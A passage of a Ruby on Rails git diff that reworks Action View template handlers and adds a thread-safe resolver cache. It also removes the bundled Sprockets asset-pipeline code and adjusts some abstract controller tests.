-      def register_template_handler(extension, klass)
-        @@template_handlers[extension.to_sym] = klass
+      # The handler must respond to `:call`, which will be passed the template
+      # and should return the rendered template as a String.
+      def register_template_handler(extension, handler)
+        @@template_handlers[extension.to_sym] = handler
+        @@template_extensions = nil
       end
 
       def template_handler_extensions
diff --git a/actionpack/lib/action_view/template/handlers/builder.rb b/actionpack/lib/action_view/template/handlers/builder.rb
index 2c52cfd90e..34397c3bcf 100644
--- a/actionpack/lib/action_view/template/handlers/builder.rb
+++ b/actionpack/lib/action_view/template/handlers/builder.rb
@@ -6,12 +6,21 @@ module ActionView
       self.default_format = Mime::XML
 
       def call(template)
-        require 'builder'
+        require_engine
         "xml = ::Builder::XmlMarkup.new(:indent => 2);" +
           "self.output_buffer = xml.target!;" +
           template.source +
           ";xml.target!;"
       end
+
+      protected
+
+      def require_engine
+        @required ||= begin
+          require "builder"
+          true
+        end
+      end
     end
   end
 end
diff --git a/actionpack/lib/action_view/template/handlers/erb.rb b/actionpack/lib/action_view/template/handlers/erb.rb
index 77720e2bc8..aa8eac7846 100644
--- a/actionpack/lib/action_view/template/handlers/erb.rb
+++ b/actionpack/lib/action_view/template/handlers/erb.rb
@@ -1,5 +1,4 @@
 require 'action_dispatch/http/mime_type'
-require 'active_support/core_ext/class/attribute_accessors'
 require 'erubis'
 
 module ActionView
@@ -44,10 +43,6 @@ module ActionView
         class_attribute :erb_trim_mode
         self.erb_trim_mode = '-'
 
-        # Default format used by ERB.
-        class_attribute :default_format
-        self.default_format = Mime::HTML
-
         # Default implementation used.
         class_attribute :erb_implementation
         self.erb_implementation = Erubis
@@ -67,23 +62,19 @@ module ActionView
         end
 
         def call(template)
-          if template.source.encoding_aware?
-            # First, convert to BINARY, so in case the encoding is
-            # wrong, we can still find an encoding tag
-            # (<%# encoding %>) inside the String using a regular
-            # expression
-            template_source = template.source.dup.force_encoding("BINARY")
+          # First, convert to BINARY, so in case the encoding is
+          # wrong, we can still find an encoding tag
+          # (<%# encoding %>) inside the String using a regular
+          # expression
+          template_source = template.source.dup.force_encoding("BINARY")
 
-            erb = template_source.gsub(ENCODING_TAG, '')
-            encoding = $2
+          erb = template_source.gsub(ENCODING_TAG, '')
+          encoding = $2
 
-            erb.force_encoding valid_encoding(template.source.dup, encoding)
+          erb.force_encoding valid_encoding(template.source.dup, encoding)
 
-            # Always make sure we return a String in the default_internal
-            erb.encode!
-          else
-            erb = template.source.dup
-          end
+          # Always make sure we return a String in the default_internal
+          erb.encode!
 
           self.class.erb_implementation.new(
             erb,
diff --git a/actionpack/lib/action_view/template/handlers/raw.rb b/actionpack/lib/action_view/template/handlers/raw.rb
new file mode 100644
index 0000000000..0c0d1fffcb
--- /dev/null
+++ b/actionpack/lib/action_view/template/handlers/raw.rb
@@ -0,0 +1,11 @@
+module ActionView
+  module Template::Handlers
+    class Raw
+      def call(template)
+        escaped = template.source.gsub(':', '\:')
+
+        '%q:' + escaped + ':;'
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/template/resolver.rb b/actionpack/lib/action_view/template/resolver.rb
index f855ea257c..2bb656fac9 100644
--- a/actionpack/lib/action_view/template/resolver.rb
+++ b/actionpack/lib/action_view/template/resolver.rb
@@ -1,13 +1,15 @@
 require "pathname"
 require "active_support/core_ext/class"
-require "active_support/core_ext/io"
+require "active_support/core_ext/class/attribute_accessors"
 require "action_view/template"
+require "thread"
+require "mutex_m"
 
 module ActionView
   # = Action View Resolver
   class Resolver
     # Keeps all information about view path and builds virtual path.
-    class Path < String
+    class Path
       attr_reader :name, :prefix, :partial, :virtual
       alias_method :partial?, :partial
 
@@ -19,8 +21,77 @@ module ActionView
       end
 
       def initialize(name, prefix, partial, virtual)
-        @name, @prefix, @partial = name, prefix, partial
-        super(virtual)
+        @name    = name
+        @prefix  = prefix
+        @partial = partial
+        @virtual = virtual
+      end
+
+      def to_str
+        @virtual
+      end
+      alias :to_s :to_str
+    end
+
+    # Threadsafe template cache
+    class Cache #:nodoc:
+      class CacheEntry
+        include Mutex_m
+
+        attr_accessor :templates
+      end
+
+      def initialize
+        @data = Hash.new { |h1,k1| h1[k1] = Hash.new { |h2,k2|
+                  h2[k2] = Hash.new { |h3,k3| h3[k3] = Hash.new { |h4,k4| h4[k4] = {} } } } }
+        @mutex = Mutex.new
+      end
+
+      # Cache the templates returned by the block
+      def cache(key, name, prefix, partial, locals)
+        cache_entry = nil
+
+        # first obtain a lock on the main data structure to create the cache entry
+        @mutex.synchronize do
+          cache_entry = @data[key][name][prefix][partial][locals] ||= CacheEntry.new
+        end
+
+        # then to avoid a long lasting global lock, obtain a more granular lock
+        # on the CacheEntry itself
+        cache_entry.synchronize do
+          if Resolver.caching?
+            cache_entry.templates ||= yield
+          else
+            fresh_templates = yield
+
+            if templates_have_changed?(cache_entry.templates, fresh_templates)
+              cache_entry.templates = fresh_templates
+            else
+              cache_entry.templates ||= []
+            end
+          end
+        end
+      end
+
+      def clear
+        @mutex.synchronize do
+          @data.clear
+        end
+      end
+
+      private
+
+      def templates_have_changed?(cached_templates, fresh_templates)
+        # if either the old or new template list is empty, we don't need to (and can't)
+        # compare modification times, and instead just check whether the lists are different
+        if cached_templates.blank? || fresh_templates.blank?
+          return fresh_templates.blank? != cached_templates.blank?
+        end
+
+        cached_templates_max_updated_at = cached_templates.map(&:updated_at).max
+
+        # if a template has changed, it will be now be newer than all the cached templates
+        fresh_templates.any? { |t| t.updated_at > cached_templates_max_updated_at }
       end
     end
 
@@ -32,12 +103,11 @@ module ActionView
     end
 
     def initialize
-      @cached = Hash.new { |h1,k1| h1[k1] = Hash.new { |h2,k2|
-        h2[k2] = Hash.new { |h3,k3| h3[k3] = Hash.new { |h4,k4| h4[k4] = {} } } } }
+      @cache = Cache.new
     end
 
     def clear_cache
-      @cached.clear
+      @cache.clear
     end
 
     # Normalizes the arguments and passes it on to find_template.
@@ -65,27 +135,18 @@ module ActionView
 
     # Handles templates caching. If a key is given and caching is on
     # always check the cache before hitting the resolver. Otherwise,
-    # it always hits the resolver but check if the resolver is fresher
-    # before returning it.
+    # it always hits the resolver but if the key is present, check if the
+    # resolver is fresher before returning it.
     def cached(key, path_info, details, locals) #:nodoc:
       name, prefix, partial = path_info
       locals = locals.map { |x| x.to_s }.sort!
 
-      if key && caching?
-        @cached[key][name][prefix][partial][locals] ||= decorate(yield, path_info, details, locals)
-      else
-        fresh = decorate(yield, path_info, details, locals)
-        return fresh unless key
-
-        scope = @cached[key][name][prefix][partial]
-        cache = scope[locals]
-        mtime = cache && cache.map(&:updated_at).max
-
-        if !mtime || fresh.empty?  || fresh.any? { |t| t.updated_at > mtime }
-          scope[locals] = fresh
-        else
-          cache
+      if key
+        @cache.cache(key, name, prefix, partial, locals) do
+          decorate(yield, path_info, details, locals)
         end
+      else
+        decorate(yield, path_info, details, locals)
       end
     end
 
@@ -171,13 +232,15 @@ module ActionView
     def extract_handler_and_format(path, default_formats)
       pieces = File.basename(path).split(".")
       pieces.shift
-      handler = Template.handler_for_extension(pieces.pop)
+      extension = pieces.pop
+      ActiveSupport::Deprecation.warn "The file #{path} did not specify a template handler. The default is currently ERB, but will change to RAW in the future." unless extension
+      handler = Template.handler_for_extension(extension)
       format  = pieces.last && Mime[pieces.last]
       [handler, format]
     end
   end
 
-  # A resolver that loads files from the filesystem. It allows to set your own
+  # A resolver that loads files from the filesystem. It allows setting your own
   # resolving pattern. Such pattern can be a glob string supported by some variables.
   #
   # ==== Examples
@@ -193,7 +256,7 @@ module ActionView
   #
   #   FileSystemResolver.new("/path/to/views", ":prefix/{:formats/,}:action{.:locale,}{.:formats,}{.:handlers,}")
   #
-  # If you don't specify pattern then the default will be used.
+  # If you don't specify a pattern then the default will be used.
   #
   # In order to use any of the customized resolvers above in a Rails application, you just need
   # to configure ActionController::Base.view_paths in an initializer, for example:
@@ -205,10 +268,10 @@ module ActionView
   #
   # ==== Pattern format and variables
   #
-  # Pattern have to be a valid glob string, and it allows you to use the
+  # Pattern has to be a valid glob string, and it allows you to use the
   # following variables:
   #
-  # * <tt>:prefix</tt> - usualy the controller path
+  # * <tt>:prefix</tt> - usually the controller path
   # * <tt>:action</tt> - name of the action
   # * <tt>:locale</tt> - possible locale versions
   # * <tt>:formats</tt> - possible request formats (for example html, json, xml...)
diff --git a/actionpack/lib/action_view/template/text.rb b/actionpack/lib/action_view/template/text.rb
index 4261c3b5e2..3af76dfcdb 100644
--- a/actionpack/lib/action_view/template/text.rb
+++ b/actionpack/lib/action_view/template/text.rb
@@ -1,11 +1,11 @@
 module ActionView #:nodoc:
   # = Action View Text Template
   class Template
-    class Text < String #:nodoc:
+    class Text #:nodoc:
       attr_accessor :mime_type
 
       def initialize(string, mime_type = nil)
-        super(string.to_s)
+        @string      = string.to_s
         @mime_type   = Mime[mime_type] || mime_type if mime_type
         @mime_type ||= Mime::TEXT
       end
@@ -18,8 +18,12 @@ module ActionView #:nodoc:
         'text template'
       end
 
+      def to_str
+        @string
+      end
+
       def render(*args)
-        to_s
+        to_str
       end
 
       def formats
diff --git a/actionpack/lib/action_view/test_case.rb b/actionpack/lib/action_view/test_case.rb
index 9ebe498192..55f79bf761 100644
--- a/actionpack/lib/action_view/test_case.rb
+++ b/actionpack/lib/action_view/test_case.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/module/remove_method'
 require 'action_controller'
 require 'action_controller/test_case'
@@ -59,8 +57,10 @@ module ActionView
         end
 
         def determine_default_helper_class(name)
-          mod = name.sub(/Test$/, '').safe_constantize
+          mod = name.sub(/Test$/, '').constantize
           mod.is_a?(Class) ? nil : mod
+        rescue NameError
+          nil
         end
 
         def helper_method(*methods)
@@ -183,32 +183,32 @@ module ActionView
 
       alias_method :_view, :view
 
-      INTERNAL_IVARS = %w{
-        @__name__
-        @__io__
-        @_assertion_wrapped
-        @_assertions
-        @_result
-        @_routes
-        @controller
-        @layouts
-        @locals
-        @method_name
-        @output_buffer
-        @partials
-        @passed
-        @rendered
-        @request
-        @routes
-        @templates
-        @options
-        @test_passed
-        @view
-        @view_context_class
-      }
+      INTERNAL_IVARS = [
+        :@__name__,
+        :@__io__,
+        :@_assertion_wrapped,
+        :@_assertions,
+        :@_result,
+        :@_routes,
+        :@controller,
+        :@layouts,
+        :@locals,
+        :@method_name,
+        :@output_buffer,
+        :@partials,
+        :@passed,
+        :@rendered,
+        :@request,
+        :@routes,
+        :@templates,
+        :@options,
+        :@test_passed,
+        :@view,
+        :@view_context_class
+      ]
 
       def _user_defined_ivars
-        instance_variables.map(&:to_s) - INTERNAL_IVARS
+        instance_variables - INTERNAL_IVARS
       end
 
       # Returns a Hash of instance variables and their values, as defined by
@@ -216,8 +216,8 @@ module ActionView
       # rendered. This is generally intended for internal use and extension
       # frameworks.
       def view_assigns
-        Hash[_user_defined_ivars.map do |var|
-          [var[1, var.length].to_sym, instance_variable_get(var)]
+        Hash[_user_defined_ivars.map do |ivar|
+          [ivar[1..-1].to_sym, instance_variable_get(ivar)]
         end]
       end
 
@@ -227,16 +227,15 @@ module ActionView
 
       def method_missing(selector, *args)
         if @controller.respond_to?(:_routes) &&
-          @controller._routes.named_routes.helpers.include?(selector)
+          ( @controller._routes.named_routes.helpers.include?(selector) ||
+            @controller._routes.mounted_helpers.method_defined?(selector) )
           @controller.__send__(selector, *args)
         else
           super
         end
       end
-
     end
 
     include Behavior
-
   end
 end
diff --git a/actionpack/lib/sprockets/assets.rake b/actionpack/lib/sprockets/assets.rake
deleted file mode 100644
index a61a121d55..0000000000
--- a/actionpack/lib/sprockets/assets.rake
+++ /dev/null
@@ -1,95 +0,0 @@
-require "fileutils"
-
-namespace :assets do
-  def ruby_rake_task(task)
-    env    = ENV['RAILS_ENV'] || 'production'
-    groups = ENV['RAILS_GROUPS'] || 'assets'
-    args   = [$0, task,"RAILS_ENV=#{env}","RAILS_GROUPS=#{groups}"]
-    args << "--trace" if Rake.application.options.trace
-    ruby(*args)
-  end
-
-  # We are currently running with no explicit bundler group
-  # and/or no explicit environment - we have to reinvoke rake to
-  # execute this task.
-  def invoke_or_reboot_rake_task(task)
-    if ENV['RAILS_GROUPS'].to_s.empty? || ENV['RAILS_ENV'].to_s.empty?
-      ruby_rake_task task
-    else
-      Rake::Task[task].invoke
-    end
-  end
-
-  desc "Compile all the assets named in config.assets.precompile"
-  task :precompile do
-    invoke_or_reboot_rake_task "assets:precompile:all"
-  end
-
-  namespace :precompile do
-    def internal_precompile(digest=nil)
-      unless Rails.application.config.assets.enabled
-        warn "Cannot precompile assets if sprockets is disabled. Please set config.assets.enabled to true"
-        exit
-      end
-
-      # Ensure that action view is loaded and the appropriate
-      # sprockets hooks get executed
-      _ = ActionView::Base
-
-      config = Rails.application.config
-      config.assets.compile = true
-      config.assets.digest  = digest unless digest.nil?
-      config.assets.digests = {}
-
-      env      = Rails.application.assets
-      target   = File.join(Rails.public_path, config.assets.prefix)
-      compiler = Sprockets::StaticCompiler.new(env,
-                                               target,
-                                               config.assets.precompile,
-                                               :manifest_path => config.assets.manifest,
-                                               :digest => config.assets.digest,
-                                               :manifest => digest.nil?)
-      compiler.compile
-    end
-
-    task :all do
-      Rake::Task["assets:precompile:primary"].invoke
-      # We need to reinvoke in order to run the secondary digestless
-      # asset compilation run - a fresh Sprockets environment is
-      # required in order to compile digestless assets as the
-      # environment has already cached the assets on the primary
-      # run.
-      ruby_rake_task "assets:precompile:nondigest" if Rails.application.config.assets.digest
-    end
-
-    task :primary => ["assets:environment", "tmp:cache:clear"] do
-      internal_precompile
-    end
-
-    task :nondigest => ["assets:environment", "tmp:cache:clear"] do
-      internal_precompile(false)
-    end
-  end
-
-  desc "Remove compiled assets"
-  task :clean do
-    invoke_or_reboot_rake_task "assets:clean:all"
-  end
-
-  namespace :clean do
-    task :all => ["assets:environment", "tmp:cache:clear"] do
-      config = Rails.application.config
-      public_asset_path = File.join(Rails.public_path, config.assets.prefix)
-      rm_rf public_asset_path, :secure => true
-    end
-  end
-
-  task :environment do
-    if Rails.application.config.assets.initialize_on_precompile
-      Rake::Task["environment"].invoke
-    else
-      Rails.application.initialize!(:assets)
-      Sprockets::Bootstrap.new(Rails.application).run
-    end
-  end
-end
diff --git a/actionpack/lib/sprockets/bootstrap.rb b/actionpack/lib/sprockets/bootstrap.rb
deleted file mode 100644
index 395b264fe7..0000000000
--- a/actionpack/lib/sprockets/bootstrap.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-module Sprockets
-  class Bootstrap
-    def initialize(app)
-      @app = app
-    end
-
-    # TODO: Get rid of config.assets.enabled
-    def run
-      app, config = @app, @app.config
-      return unless app.assets
-
-      config.assets.paths.each { |path| app.assets.append_path(path) }
-
-      if config.assets.compress
-        # temporarily hardcode default JS compressor to uglify. Soon, it will work
-        # the same as SCSS, where a default plugin sets the default.
-        unless config.assets.js_compressor == false
-          app.assets.js_compressor = LazyCompressor.new { Sprockets::Compressors.registered_js_compressor(config.assets.js_compressor || :uglifier) }
-        end
-
-        unless config.assets.css_compressor == false
-          app.assets.css_compressor = LazyCompressor.new { Sprockets::Compressors.registered_css_compressor(config.assets.css_compressor) }
-        end
-      end
-
-      if config.assets.compile
-        app.routes.prepend do
-          mount app.assets => config.assets.prefix
-        end
-      end
-
-      if config.assets.digest
-        app.assets = app.assets.index
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/sprockets/compressors.rb b/actionpack/lib/sprockets/compressors.rb
deleted file mode 100644
index cb3e13314b..0000000000
--- a/actionpack/lib/sprockets/compressors.rb
+++ /dev/null
@@ -1,83 +0,0 @@
-module Sprockets
-  module Compressors
-    @@css_compressors = {}
-    @@js_compressors = {}
-    @@default_css_compressor = nil
-    @@default_js_compressor = nil
-
-    def self.register_css_compressor(name, klass, options = {})
-      @@default_css_compressor = name.to_sym if options[:default] || @@default_css_compressor.nil?
-      @@css_compressors[name.to_sym] = {:klass => klass.to_s, :require => options[:require]}
-    end
-
-    def self.register_js_compressor(name, klass, options = {})
-      @@default_js_compressor = name.to_sym if options[:default] || @@default_js_compressor.nil?
-      @@js_compressors[name.to_sym] = {:klass => klass.to_s, :require => options[:require]}
-    end
-
-    def self.registered_css_compressor(name)
-      if name.respond_to?(:to_sym)
-        compressor = @@css_compressors[name.to_sym] || @@css_compressors[@@default_css_compressor]
-        require compressor[:require] if compressor[:require]
-        compressor[:klass].constantize.new
-      else
-        name
-      end
-    end
-
-    def self.registered_js_compressor(name)
-      if name.respond_to?(:to_sym)
-        compressor = @@js_compressors[name.to_sym] || @@js_compressors[@@default_js_compressor]
-        require compressor[:require] if compressor[:require]
-        compressor[:klass].constantize.new
-      else
-        name
-      end
-    end
-
-    # The default compressors must be registered in default plugins (ex. Sass-Rails)
-    register_css_compressor(:scss, 'Sass::Rails::Compressor', :require => 'sass/rails/compressor', :default => true)
-    register_js_compressor(:uglifier, 'Uglifier', :require => 'uglifier', :default => true)
-
-    # Automaticaly register some compressors
-    register_css_compressor(:yui, 'YUI::CssCompressor', :require => 'yui/compressor')
-    register_js_compressor(:closure, 'Closure::Compiler', :require => 'closure-compiler')
-    register_js_compressor(:yui, 'YUI::JavaScriptCompressor', :require => 'yui/compressor')
-  end
-
-  # An asset compressor which does nothing.
-  #
-  # This compressor simply returns the asset as-is, without any compression
-  # whatsoever. It is useful in development mode, when compression isn't
-  # needed but using the same asset pipeline as production is desired.
-  class NullCompressor #:nodoc:
-    def compress(content)
-      content
-    end
-  end
-
-  # An asset compressor which only initializes the underlying compression
-  # engine when needed.
-  #
-  # This postpones the initialization of the compressor until
-  # <code>#compress</code> is called the first time.
-  class LazyCompressor #:nodoc:
-    # Initializes a new LazyCompressor.
-    #
-    # The block should return a compressor when called, i.e. an object
-    # which responds to <code>#compress</code>.
-    def initialize(&block)
-      @block = block
-    end
-
-    def compress(content)
-      compressor.compress(content)
-    end
-
-    private
-
-    def compressor
-      @compressor ||= (@block.call || NullCompressor.new)
-    end
-  end
-end
diff --git a/actionpack/lib/sprockets/helpers.rb b/actionpack/lib/sprockets/helpers.rb
deleted file mode 100644
index fee48386e0..0000000000
--- a/actionpack/lib/sprockets/helpers.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-module Sprockets
-  module Helpers
-    autoload :RailsHelper,    "sprockets/helpers/rails_helper"
-    autoload :IsolatedHelper, "sprockets/helpers/isolated_helper"
-  end
-end
diff --git a/actionpack/lib/sprockets/helpers/isolated_helper.rb b/actionpack/lib/sprockets/helpers/isolated_helper.rb
deleted file mode 100644
index 3adb928c45..0000000000
--- a/actionpack/lib/sprockets/helpers/isolated_helper.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module Sprockets
-  module Helpers
-    module IsolatedHelper
-      def controller
-        nil
-      end
-
-      def config
-        Rails.application.config.action_controller
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/sprockets/helpers/rails_helper.rb b/actionpack/lib/sprockets/helpers/rails_helper.rb
deleted file mode 100644
index ddf9b08b54..0000000000
--- a/actionpack/lib/sprockets/helpers/rails_helper.rb
+++ /dev/null
@@ -1,166 +0,0 @@
-require "action_view"
-
-module Sprockets
-  module Helpers
-    module RailsHelper
-      extend ActiveSupport::Concern
-      include ActionView::Helpers::AssetTagHelper
-
-      def asset_paths
-        @asset_paths ||= begin
-          paths = RailsHelper::AssetPaths.new(config, controller)
-          paths.asset_environment = asset_environment
-          paths.asset_digests     = asset_digests
-          paths.compile_assets    = compile_assets?
-          paths.digest_assets     = digest_assets?
-          paths
-        end
-      end
-
-      def javascript_include_tag(*sources)
-        options = sources.extract_options!
-        debug = options.key?(:debug) ? options.delete(:debug) : debug_assets?
-        body  = options.key?(:body)  ? options.delete(:body)  : false
-        digest  = options.key?(:digest)  ? options.delete(:digest)  : digest_assets?
-
-        sources.collect do |source|
-          if debug && asset = asset_paths.asset_for(source, 'js')
-            asset.to_a.map { |dep|
-              super(dep.to_s, { :src => asset_path(dep, :ext => 'js', :body => true, :digest => digest) }.merge!(options))
-            }
-          else
-            super(source.to_s, { :src => asset_path(source, :ext => 'js', :body => body, :digest => digest) }.merge!(options))
-          end
-        end.join("\n").html_safe
-      end
-
-      def stylesheet_link_tag(*sources)
-        options = sources.extract_options!
-        debug   = options.key?(:debug) ? options.delete(:debug) : debug_assets?
-        body    = options.key?(:body)  ? options.delete(:body)  : false
-        digest  = options.key?(:digest)  ? options.delete(:digest)  : digest_assets?
-
-        sources.collect do |source|
-          if debug && asset = asset_paths.asset_for(source, 'css')
-            asset.to_a.map { |dep|
-              super(dep.to_s, { :href => asset_path(dep, :ext => 'css', :body => true, :protocol => :request, :digest => digest) }.merge!(options))
-            }
-          else
-            super(source.to_s, { :href => asset_path(source, :ext => 'css', :body => body, :protocol => :request, :digest => digest) }.merge!(options))
-          end
-        end.join("\n").html_safe
-      end
-
-      def asset_path(source, options = {})
-        source = source.logical_path if source.respond_to?(:logical_path)
-        path = asset_paths.compute_public_path(source, asset_prefix, options.merge(:body => true))
-        options[:body] ? "#{path}?body=1" : path
-      end
-
-      def image_path(source)
-        asset_path(source)
-      end
-      alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
-
-      def javascript_path(source)
-        asset_path(source)
-      end
-      alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with an javascript_path named route
-
-      def stylesheet_path(source)
-        asset_path(source)
-      end
-      alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with an stylesheet_path named route
-
-    private
-      def debug_assets?
-        compile_assets? && (Rails.application.config.assets.debug || params[:debug_assets])
-      rescue NoMethodError
-        false
-      end
-
-      # Override to specify an alternative prefix for asset path generation.
-      # When combined with a custom +asset_environment+, this can be used to
-      # implement themes that can take advantage of the asset pipeline.
-      #
-      # If you only want to change where the assets are mounted, refer to
-      # +config.assets.prefix+ instead.
-      def asset_prefix
-        Rails.application.config.assets.prefix
-      end
-
-      def asset_digests
-        Rails.application.config.assets.digests
-      end
-
-      def compile_assets?
-        Rails.application.config.assets.compile
-      end
-
-      def digest_assets?
-        Rails.application.config.assets.digest
-      end
-
-      # Override to specify an alternative asset environment for asset
-      # path generation. The environment should already have been mounted
-      # at the prefix returned by +asset_prefix+.
-      def asset_environment
-        Rails.application.assets
-      end
-
-      class AssetPaths < ::ActionView::AssetPaths #:nodoc:
-        attr_accessor :asset_environment, :asset_prefix, :asset_digests, :compile_assets, :digest_assets
-
-        class AssetNotPrecompiledError < StandardError; end
-
-        # Return the filesystem path for the source
-        def compute_source_path(source, ext)
-          asset_for(source, ext)
-        end
-
-        def asset_for(source, ext)
-          source = source.to_s
-          return nil if is_uri?(source)
-          source = rewrite_extension(source, nil, ext)
-          asset_environment[source]
-        rescue Sprockets::FileOutsidePaths
-          nil
-        end
-
-        def digest_for(logical_path)
-          if digest_assets && asset_digests && (digest = asset_digests[logical_path])
-            return digest
-          end
-
-          if compile_assets
-            if digest_assets && asset = asset_environment[logical_path]
-              return asset.digest_path
-            end
-            return logical_path
-          else
-            raise AssetNotPrecompiledError.new("#{logical_path} isn't precompiled")
-          end
-        end
-
-        def rewrite_asset_path(source, dir, options = {})
-          if source[0] == ?/
-            source
-          else
-            source = digest_for(source) unless options[:digest] == false
-            source = File.join(dir, source)
-            source = "/#{source}" unless source =~ /^\//
-            source
-          end
-        end
-
-        def rewrite_extension(source, dir, ext)
-          if ext && File.extname(source).empty?
-            "#{source}.#{ext}"
-          else
-            source
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/sprockets/railtie.rb b/actionpack/lib/sprockets/railtie.rb
deleted file mode 100644
index 3d330bd91a..0000000000
--- a/actionpack/lib/sprockets/railtie.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-require "action_controller/railtie"
-
-module Sprockets
-  autoload :Bootstrap,      "sprockets/bootstrap"
-  autoload :Helpers,        "sprockets/helpers"
-  autoload :Compressors,    "sprockets/compressors"
-  autoload :LazyCompressor, "sprockets/compressors"
-  autoload :NullCompressor, "sprockets/compressors"
-  autoload :StaticCompiler, "sprockets/static_compiler"
-
-  # TODO: Get rid of config.assets.enabled
-  class Railtie < ::Rails::Railtie
-    config.action_controller.default_asset_host_protocol = :relative
-
-    rake_tasks do
-      load "sprockets/assets.rake"
-    end
-
-    initializer "sprockets.environment", :group => :all do |app|
-      config = app.config
-      next unless config.assets.enabled
-
-      require 'sprockets'
-
-      app.assets = Sprockets::Environment.new(app.root.to_s) do |env|
-        env.logger  = ::Rails.logger
-        env.version = ::Rails.env + "-#{config.assets.version}"
-
-        if config.assets.cache_store != false
-          env.cache = ActiveSupport::Cache.lookup_store(config.assets.cache_store) || ::Rails.cache
-        end
-      end
-
-      if config.assets.manifest
-        path = File.join(config.assets.manifest, "manifest.yml")
-      else
-        path = File.join(Rails.public_path, config.assets.prefix, "manifest.yml")
-      end
-
-      if File.exist?(path)
-        config.assets.digests = YAML.load_file(path)
-      end
-
-      ActiveSupport.on_load(:action_view) do
-        include ::Sprockets::Helpers::RailsHelper
-        app.assets.context_class.instance_eval do
-          include ::Sprockets::Helpers::IsolatedHelper
-          include ::Sprockets::Helpers::RailsHelper
-        end
-      end
-    end
-
-    # We need to configure this after initialization to ensure we collect
-    # paths from all engines. This hook is invoked exactly before routes
-    # are compiled, and so that other Railties have an opportunity to
-    # register compressors.
-    config.after_initialize do |app|
-      Sprockets::Bootstrap.new(app).run
-    end
-  end
-end
diff --git a/actionpack/lib/sprockets/static_compiler.rb b/actionpack/lib/sprockets/static_compiler.rb
deleted file mode 100644
index 32a9d66e6e..0000000000
--- a/actionpack/lib/sprockets/static_compiler.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-require 'fileutils'
-
-module Sprockets
-  class StaticCompiler
-    attr_accessor :env, :target, :paths
-
-    def initialize(env, target, paths, options = {})
-      @env = env
-      @target = target
-      @paths = paths
-      @digest = options.key?(:digest) ? options.delete(:digest) : true
-      @manifest = options.key?(:manifest) ? options.delete(:manifest) : true
-      @manifest_path = options.delete(:manifest_path) || target
-    end
-
-    def compile
-      manifest = {}
-      env.each_logical_path do |logical_path|
-        next unless compile_path?(logical_path)
-        if asset = env.find_asset(logical_path)
-          manifest[logical_path] = write_asset(asset)
-        end
-      end
-      write_manifest(manifest) if @manifest
-    end
-
-    def write_manifest(manifest)
-      FileUtils.mkdir_p(@manifest_path)
-      File.open("#{@manifest_path}/manifest.yml", 'wb') do |f|
-        YAML.dump(manifest, f)
-      end
-    end
-
-    def write_asset(asset)
-      path_for(asset).tap do |path|
-        filename = File.join(target, path)
-        FileUtils.mkdir_p File.dirname(filename)
-        asset.write_to(filename)
-        asset.write_to("#{filename}.gz") if filename.to_s =~ /\.(css|js)$/
-      end
-    end
-
-    def compile_path?(logical_path)
-      paths.each do |path|
-        case path
-        when Regexp
-          return true if path.match(logical_path)
-        when Proc
-          return true if path.call(logical_path)
-        else
-          return true if File.fnmatch(path.to_s, logical_path)
-        end
-      end
-      false
-    end
-
-    def path_for(asset)
-      @digest ? asset.digest_path : asset.logical_path
-    end
-  end
-end
diff --git a/actionpack/test/abstract/abstract_controller_test.rb b/actionpack/test/abstract/abstract_controller_test.rb
index bf068aedcd..62f82a4c7a 100644
--- a/actionpack/test/abstract/abstract_controller_test.rb
+++ b/actionpack/test/abstract/abstract_controller_test.rb
@@ -1,4 +1,5 @@
 require 'abstract_unit'
+require 'set'
 
 module AbstractController
   module Testing
@@ -28,7 +29,7 @@ module AbstractController
     # Test Render mixin
     # ====
     class RenderingController < AbstractController::Base
-      include ::AbstractController::Rendering
+      include AbstractController::Rendering
 
       def _prefixes
         []
@@ -152,7 +153,7 @@ module AbstractController
     # ====
     # self._layout is used when defined
     class WithLayouts < PrefixedViews
-      include Layouts
+      include AbstractController::Layouts
 
       private
       def self.layout(formats)
@@ -254,7 +255,7 @@ module AbstractController
     class TestActionMethodsReloading < ActiveSupport::TestCase
 
       test "action_methods should be reloaded after defining a new method" do
-        assert_equal ["index"], Me6.action_methods
+        assert_equal Set.new(["index"]), Me6.action_methods
       end
     end
 
diff --git a/actionpack/test/abstract/collector_test.rb b/actionpack/test/abstract/collector_test.rb
index 2ebcebbbb7..c14d24905b 100644
--- a/actionpack/test/abstract/collector_test.rb
+++ b/actionpack/test/abstract/collector_test.rb
@@ -3,7 +3,7 @@ require 'abstract_unit'
 module AbstractController
   module Testing
     class MyCollector
-      include Collector
+      include AbstractController::Collector
       attr_accessor :responses
 
       def initialize
@@ -54,4 +54,4 @@ module AbstractController
       end
     end
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/test/abstract/helper_test.rb b/actionpack/test/abstract/helper_test.rb
index b28a5b5afb..e79008fa9d 100644
--- a/actionpack/test/abstract/helper_test.rb
+++ b/actionpack/test/abstract/helper_test.rb
@@ -7,7 +7,7 @@ module AbstractController
 
     class ControllerWithHelpers < AbstractController::Base
       include AbstractController::Rendering
-      include Helpers
+      include AbstractController::Helpers
 
       def with_module
         render :inline => "Module <%= included_method %>"
@@ -44,7 +44,7 @@ module AbstractController
 
     class AbstractHelpersBlock < ControllerWithHelpers
       helper do
-        include ::AbstractController::Testing::HelperyTest
+        include AbstractController::Testing::HelperyTest
       end
     end
 
@@ -69,7 +69,12 @@ module AbstractController
       end
 
       def test_declare_missing_helper
-        assert_raise(MissingSourceFile) { AbstractHelpers.helper :missing }
+        begin
+          AbstractHelpers.helper :missing
+          flunk "should have raised an exception"
+        rescue LoadError => e
+          assert_equal "helpers/missing_helper.rb", e.path
+        end
       end
 
       def test_helpers_with_module_through_block
diff --git a/actionpack/test/abstract/layouts_test.rb b/actionpack/test/abstract/layouts_test.rb
index 86208899f8..558a45b87f 100644
--- a/actionpack/test/abstract/layouts_test.rb
